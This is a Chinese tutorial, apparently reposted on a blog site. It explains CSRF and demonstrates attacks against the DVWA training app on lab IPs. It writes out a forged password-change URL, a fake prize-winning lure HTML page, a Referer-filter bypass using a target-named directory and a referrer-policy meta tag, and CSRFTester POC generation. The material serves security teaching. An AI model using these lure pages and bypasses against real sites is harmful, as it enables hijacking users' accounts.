漏洞篇(CSRF跨站请求伪造)

这篇具有很好参考价值的文章主要介绍了漏洞篇(CSRF跨站请求伪造)。希望对大家有所帮助。如果存在错误或未考虑完全的地方,请大家不吝赐教,您也可以点击"举报违法"按钮提交疑问。

目录

一、CSRF 原理

1、CSRF 漏洞的定义

2、XSS 与 CSRF 的区别

3、CSRF 的简单理解

二、基于 DVWA 的 low 级别演示 CSRF 攻击 

1、查看源代码

2、构造 URL 链接

3、验证 CSRF 攻击 

4、构造恶意链接

5、短连接介绍

三、基于 DVWA 的 Medium 级别演示 CSRF 攻击

1、查看源代码

2、直接修改密码和通过其他页面提交请求的区别

3、绕过 Referer 过滤

四、使用 CSRFTester 进行自动化探测 CSRF 漏洞

1、探测的目的

2、自动化探测工具介绍


一、CSRF 原理

1、CSRF 漏洞的定义

CSRF(Cross-site request forgery,跨站请求伪造)也被称为 One Click Attack(单键攻击)或
者 Session Riding,通常缩写为 CSRF 或者 XSRF。
forgery [ ˈ f ɔː d ʒə ri] 伪造 ; Riding [ ˈ ra ɪ d ɪŋ ] 驾驭马匹;骑马
        
        
        

2、XSS 与 CSRF 的区别

1、XSS 利用用户对站点的信任,盗取 Cookie;
2、CSRF 通过伪装成受信任用户请求,利用站点对己经身份认证的信任,访问网站。
与 XSS 攻击相比,CSRF 攻击往往不大流行(因此对其进行防范的资源也相当稀少)和难以防范, 所以被认为比 XSS 更具危险性。

        

        

3、CSRF 的简单理解

假设用户已经保存某网站的登录信息,下次登录不需要认证,此时黑客构造一个访问该站点的链接并 添加如:修改密码、转账等操作的参数,用户点击链接后,黑客构造的参数被执行。这就是最简单的 CSRF 攻击方式。
CSRF 攻击流程图如下:
        
跨站请求伪造漏洞,csrf,安全,前端

        

        

二、基于 DVWA 的 low 级别演示 CSRF 攻击 

1、查看源代码

         
跨站请求伪造漏洞,csrf,安全,前端
代码中没有任何的过滤。 参数直接传递到了$pass_new 和$pass_conf 中并带入数据库中执行。但 是带入数据库中执行时通过 mysql 的函数对 sql 语句进行了过滤,不过并不影响我们正常的修改密码操 作。
        

2、构造 URL 链接

跨站请求伪造漏洞,csrf,安全,前端

我们将参数和完整的 URL 拼接起来。伪造一个改用户密码的请求链接,如下:http://192.168.1.103//DVWA-master/vulnerabilities/csrf/?password_new=12345&password_conf=12345&Change=Change         

注:只要用户访问这个链接,就可以把用户的密码改为 12345

        

3、验证 CSRF 攻击 

使用其他用户登录,访问我们构造的链接

跨站请求伪造漏洞,csrf,安全,前端

如何诱导用户访问我们这个 CSRF 链接?
可以通过 XSS 漏洞,进行页面跳转,实现 CSRF 攻击。也可以通过短连接来伪装 URL 的明显特征。 当用户点了我们的 CSRF 链接后,就可以将用户的密码改成 123456 了。
        
        

4、构造恶意链接

构造恶意链接,诱导用户点击
└─# cd /var/www/html/
└─# vim csrf.html
#插入以下代码
<html>
<head>
<meta http-equiv="Content-Type" content="text/html; charset=UTF-8" />
<title>恭喜你中奖了</title>
</head>
<body>
<a href=' http://192.168.1.105/DVWA
master/vulnerabilities/csrf/?password_new=password&password_conf=password&Change
=Change '>点击这里领取百万大奖</a>
</body>
</html>
代码解释:用户点击领取百万大奖跳转到我们构造好的链接将密码修改回 password
        

5、短连接介绍

新浪短连接: http://sina.lt/
注:通过短连接来隐藏真实 URL 的方式必须是目标在公网提供服务的场景

        

        

三、基于 DVWA 的 Medium 级别演示 CSRF 攻击

1、查看源代码

跨站请求伪造漏洞,csrf,安全,前端

         

代码中使用 stripos 函数对 HTTP Referer 进行了校验。
referer 推荐人
HTTP Referer 是 header 的一部分,当浏览器向 web 服务器发送请求的时候,一般会带上
Referer, 告诉服务器我是从哪个页面链接过来的 ,服务器基此可以获得一些信息用于处理。
在 PHP 中使用 $_SERVER['HTTP_REFERER'] 获取页面提交请求中的 Referer 值。
抓包查看 referer 内容效果:
        
跨站请求伪造漏洞,csrf,安全,前端

         

例如:
<?php
if(stripos($_SERVER['HTTP_REFERER'], $_SERVER[ 'SERVER_NAME' ]) !== false)
{
        条件成功,说明此网址是从本网站,跳转过来的的。
}
else
{
        判断失败,说明此网址不是从本网站,跳转过来的。
}
?>

         

2、直接修改密码和通过其他页面提交请求的区别

        
抓取两种不同方式的 HTTP 请求
例 1:抓取正常修改密码的 HTTP 请求
        
跨站请求伪造漏洞,csrf,安全,前端

         

Referer: http://192.168.1.105/DVWA-master/vulnerabilities/csrf/
注:抓完以后点击 Drop 丢弃请求,否则密码就修改成功了,我们还需要再次修改页面代码。
        
例 2:抓取通过其他页面传入参数的请求
        
http://192.168.1.53/csrf.html
        
跨站请求伪造漏洞,csrf,安全,前端

        

Referer: http://192.168.1.53/csrf.html
注:这里也选择丢弃,我们只需记录 Referer 信息即可
        
对比 Referer 信息
原始:Referer: http://192.168.1.105/DVWA-master/vulnerabilities/csrf/
伪造:Referer: http://192.168.1.53/csrf.html
我们可以看到,伪造的请求并不符合代码中对 Referer 信息的过滤。在伪造的链接中找不到
$_SERVER[ 'SERVER_NAME' ] ,即找不到 192.168.1.105 这个 IP 地址
怎么样能让你的 url 中有一个 ip 地址或者域名?
        
        

3、绕过 Referer 过滤

我们通过修改网站目录结构,来让 Referer 满足过滤规则。
新建一个目录,目录的名字是: 192.168.1.105 。路径: /var/www/html/192.168.1.105
        
└─# mkdir 192.168.1.105
└─# mv csrf.html 192.168.1.105/
修改文件权限
└─# chown www-data:www-data 192.168.1.105/ -R
        
修改 Referer 策略
现在浏览器默认 Referrer Policy: strict-origin-when-cross-origin
使用该策略跳转到其它站点时 referer 会被降级处理,不携带 URI 部分,仅保留主机名。
预期:http://192.168.1.53/192.168.1.105/csrf.html
结果: http://192.168.1.53
        
手工指定 Referer 策略。
└─# vim 192.168.1.105/csrf.html
<html>
<head>
<meta name="referrer" content="no-referrer-when-downgrade">
<meta http-equiv="Content-Type" content="text/html; charset=UTF-8" />
<title>恭喜你中奖了</title>
</head>
<body>
<a href='http://192.168.1.105/DVWA
master/vulnerabilities/csrf/?password_new=password&password_conf=password&Change
=Change' referrer="no-referrer-when-downgrade" >点击这里领取百万大奖</a>
</body>
</html>
1. 添加 meta 标签 name= referrer content= Referer 策略
2. 在需要指定 Referer 策略的标签中指定 referrer 策略,策略值为 content 中预设的策略。
        

访问:http://192.168.1.53/192.168.1.105/csrf.html  

密码修改成功。

跨站请求伪造漏洞,csrf,安全,前端 

        

四、使用 CSRFTester 进行自动化探测 CSRF 漏洞

1、探测的目的

探测的目的是:探测 web 应用程序是否具有防止 CSRF 的措施
跨站请求伪造漏洞,csrf,安全,前端

如果 Web 应用程序的 HTTP 请求中没有对应的预防措施,那么很大程度上就确定存在 CSRF 漏洞。

2、自动化探测工具介绍

CSRFTester 是一款 CSRF 漏洞的测试工具。
CSRFTester 工具的测试原理大概是这样的, 使用代理抓取我们在浏览器中访问过的所有的连接以及 所有的表单等信息,通过在 CSRFTester 中修改相应的表单等信息,重新提交 ,相当于一次伪造客户端请 求,如果修改过的测试请求,成功被网站服务器接受,则说明存在 CSRF 漏洞,当然此款工具也可以被用 来进行 CSRF 攻击。
步骤如下
(1)、设置浏览器代理:127.0.0.1:8008
2)、登录 Web 应用程序,提交表单,在 CSRF 工具中修改表单内容,查看是否更改,如果更改表 单存在 CSRF 漏洞。
3)、生产 POC 代码。
        
扩展: POC 测试,即 Proof of Concept,是业界流行的针对客户具体应用的验证性测试,根
据用户对采用系统提出的性能要求和扩展需求的指标,在选用服务器上进行真实数据的运行,对承
载用户数据量和运行时间进行实际测算,并根据用户未来业务扩展的需求加大数据量以验证系统和
平台的承载能力和性能变化。
        
1、启动 CSRFTester
需要安装 JDK8
开始录制     
          
跨站请求伪造漏洞,csrf,安全,前端 
跨站请求伪造漏洞,csrf,安全,前端

        

 提交一个表单

跨站请求伪造漏洞,csrf,安全,前端

停止录制

         跨站请求伪造漏洞,csrf,安全,前端

         

修改表单内容

生成 html 文件跨站请求伪造漏洞,csrf,安全,前端

表单内容仅保留方框中我们提交的信息,其他内容一律删除,然后保存退出

跨站请求伪造漏洞,csrf,安全,前端         

访问此页面

跨站请求伪造漏洞,csrf,安全,前端文章来源地址https://www.toymoban.com/news/detail-788875.html

表单内容成功提交
工具可以记录并修改表单内容然后生成页面 POC 文件,然后进行提交, 如果能够提交成功则存在
CSRF 漏洞。

到了这里,关于漏洞篇(CSRF跨站请求伪造)的文章就介绍完了。如果您还想了解更多内容,请在右上角搜索TOY模板网以前的文章或继续浏览下面的相关文章,希望大家以后多多支持TOY模板网!

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处: 如若内容造成侵权/违法违规/事实不符,请点击违法举报进行投诉反馈,一经查实,立即删除!

领支付宝红包 赞助服务器费用

相关文章

  • CSRF(跨站请求伪造)和SSRF(服务端请求伪造)漏洞复现:风险与防护方法

    这篇文章旨在用于网络安全学习,请勿进行任何非法行为,否则后果自负。  环境准备 示例: 假设用户在银行网站A上登录并保持会话活动,同时他也在浏览其他网站。攻击者在一个不可信任的网站B上创建了一个恶意链接,当用户点击该链接时,会自动向银行网站A发送一个

    2024年02月10日
    浏览(34)
  • 浏览器安全之CSRF跨站请求伪造

    跨站请求伪造(Cross-site request forgery) 简称 CSRF ,尽管与跨站脚本漏洞名称相近,但它与跨站脚本漏洞不同。 XSS 利用站点内的信任用户,而 CSRF 则通过伪装来自受信任用户的请求来利用受信任的网站。 CSRF和反射型XSS的主要区别是: 反射型XSS 的目的是在客户端执行脚本,

    2024年02月02日
    浏览(28)
  • 网络安全进阶学习第三课——CSRF跨站请求伪造

    会话跟踪是Web程序中常用的技术,用来跟踪用户的整个会话。常用的会话跟踪技术是Cookie与Session。 Cookie是一个保存在客户机中的简单的文本文件,当我们使用自己的电脑,通过浏览器进行访问网页的时候,服务器就会生成一个证书然后返回给浏览器并写入我们的本地电脑,这

    2024年02月12日
    浏览(33)
  • 跨站请求伪造(CSRF)

    CSRF(Cross-Site Request Forgery)跨站请求伪造是一种常见的网络安全攻击,它利用用户在已经登录的网站上的身份验证信息来执行恶意操作。 攻击者通过诱使受害者在本地浏览器中打开一个恶意网站,这个网站会发送一个自动执行的请求到目标网站。由于受害者已经在目标网站上

    2024年02月17日
    浏览(31)
  • 跨站请求伪造(CSRF)

    1.1 基本概念 ​ 跨站请求伪造(Cross Site Request Forgery,CSRF)是一种攻击,它强制浏览器客户端用户在当前对其进行身份验证后的Wb应用程序上执行非本意操作的攻击,攻击的重点在于更改状态的请求,而不是盗取数据,因为攻击者无法查看伪造请求的响应。 ​ 借助于社工的一些帮

    2024年02月10日
    浏览(27)
  • CSRF(跨站请求伪造)

    CSRF(Cross Site Request Forgery, 跨站请求伪造 )。是一种对网站的恶意利用, 通过伪装来自受信任用户的请求来利用受信任的网站 。 原理 是攻击者构造网站后台某个功能接口的请求地址,诱导用户去点击或者用特殊方法让该请求地址自动加载。用户在登录状态下这个请求被服

    2024年01月16日
    浏览(29)
  • CSRF - 跨站请求伪造

    目录 1、什么是CSRF 2、CSRF的攻击过程和原理 3、CSRF的类型有哪些 4、CSRF的防御 5、CSRF与XSS有何不同 6、没有防御的CSRF 跨站请求伪造(Cross-site request forgery),CSRF是指利用受害者尚未失效的身份认证信息(登录状态中的Cookie等),诱骗受害者点击恶意链接,或者访问包含攻击代

    2024年04月08日
    浏览(32)
  • CSRF(跨站请求伪造)原理

    (Cross Site Request Forgery, 跨站域请求伪造)是一种网络的攻击方式,它在 2007 年曾被列为互联网 20 大安全隐患之一,也被称为“One Click Attack”或者Session Riding,通常缩写为CSRF或者XSRF,是一种对网站的恶意利用。尽管听起来像跨站脚本(XSS),但它与XSS非常不同,并且攻击方式

    2023年04月08日
    浏览(36)
  • 21 - form表单验证 和 csrf跨站请求伪造

             (1). 官网:               (2). 安装第三方库          (3). form类型和校验             (1). settings.py 设置随机字符串         (2). app.py  全局使用csrf保护         (1). 新建form.py 文件, 定义 form 表单数据         (2). view.py 调用表单对象 ,返回给前端      

    2024年02月10日
    浏览(33)
  • jenkins 关闭关闭CSRF Protection(跨站请求伪造保护)

    我的jenkins版本是:2.332.4 Jenkins版本自2.204.6以来的重大变更有:删除禁用 CSRF 保护的功能。 从较旧版本的 Jenkins 升级的实例将启用 CSRF 保护和设置默认的发行者,如果之前被禁用。 老版本Jenkins的CSRF保护功能只需要在 系统管理 全局安全配置 中便可进行打开或者关闭。让人头

    2024年02月15日
    浏览(37)

觉得文章有用就打赏一下文章作者

支付宝扫一扫打赏

博客赞助

微信扫一扫打赏

请作者喝杯咖啡吧~博客赞助

支付宝扫一扫领取红包,优惠每天领

二维码1

领取红包

二维码2

领红包